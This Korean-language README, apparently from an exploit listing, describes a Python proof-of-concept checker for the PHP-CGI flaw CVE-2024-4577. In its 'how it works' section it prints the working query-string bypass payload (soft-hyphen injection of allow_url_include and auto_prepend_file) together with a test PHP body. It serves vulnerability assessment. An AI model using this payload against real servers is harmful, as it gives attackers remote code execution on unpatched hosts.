Exploit for OS Command Injection in Php CVE-2024-4577

## https://sploitus.com/exploit?id=49191F8E-6A33-5811-9B03-BB811AEEEEAC
# CVE-2024-4577 취약점 테스트 스크립트

이 Python 스크립트는 PHP의 최신 취약점인 [`CVE-2024-4577`](https://nvd.nist.gov/vuln/detail/CVE-2024-4577)을 진단하기 위한 간단한 PoC(Proof of Concept) 도구입니다.

> ⚠️ 본 도구는 **보안 진단 목적**으로 제공되며, **본인 소유의 시스템** 또는 **사전 허가를 받은 대상에만 사용**해야 합니다.

---

## 📌 개요

이 취약점은 PHP가 Windows 환경에서 CGI 모드로 동작할 때, **멀티바이트 문자 우회를 통해** 임의의 PHP 설정을 주입하고 코드 실행을 유도할 수 있는 문제입니다.

이 스크립트는 대상 URL에 대해 쿼리스트링 기반 우회 페이로드와 PHP 코드를 POST 요청으로 전송하여 취약 여부를 판단합니다.

---

## ✅ 사용 방법

### 1. Python 설치 확인

```bash
python3 --version
```

### 2. 의존 패키지 설치

```bash
pip install requests
```

### 3. 스크립트 실행

```bash
python3 cve_2024_4577_test.py
```

### 4. 대상 URL 입력

예시 입력:

```
http://192.168.0.10/index.php
```

또는 루트 경로만 입력해도 자동 처리됩니다

```
http://192.168.0.10
```

---

## 🔍 결과 설명

- ✅ `[✅] 취약: 서버가 PHP 코드를 실행했습니다.`  
  → 해당 서버는 취약합니다.

- ✔️ `[✔️] 비취약 또는 차단됨`  
  → 응답은 받았지만 취약점은 발생하지 않음.

- ❌ `[❌] 요청 실패: ...`  
  → 연결 오류, 타임아웃 등으로 테스트 실패.

---

## 💡 동작 원리

- 취약점 우회 문자열 삽입:  
  ```
  ?%ADd+allow_url_include=1+%ADd+auto_prepend_file=php://input
  ```

- POST 본문에 PHP 코드 삽입:
  ```php
  <?php echo 'CVE-2024-4577-TEST'; ?>
  ```

- 서버가 이 코드를 실행하면 응답에 해당 문자열이 포함되어 판단 가능.

---

## ⚠️ 면책 조항

이 스크립트는 **교육 및 보안 연구 목적**으로만 제공되며, 허가받지 않은 시스템을 스캔하거나 테스트하는 것은 **불법**입니다. 사용자는 모든 책임을 스스로 부담합니다.

---

## 📂 파일 구성

| 파일명                  | 설명                              |
|-----------------------|-----------------------------------|
| `cve_2024_4577_test.py` | 취약점 테스트용 Python 스크립트     |
| `README.md`           | 사용법 및 설명 문서 (본 파일)         |
| `LICENSE.txt`           |        |
---

## 📫 문의

버그 신고나 제안사항은 email 또는 PR로 남겨주세요.

## 📝 License
This project is licensed under the MIT License - see the [LICENSE](./LICENSE) file for details.
Copyright (c) 2025 KimJuhyeong95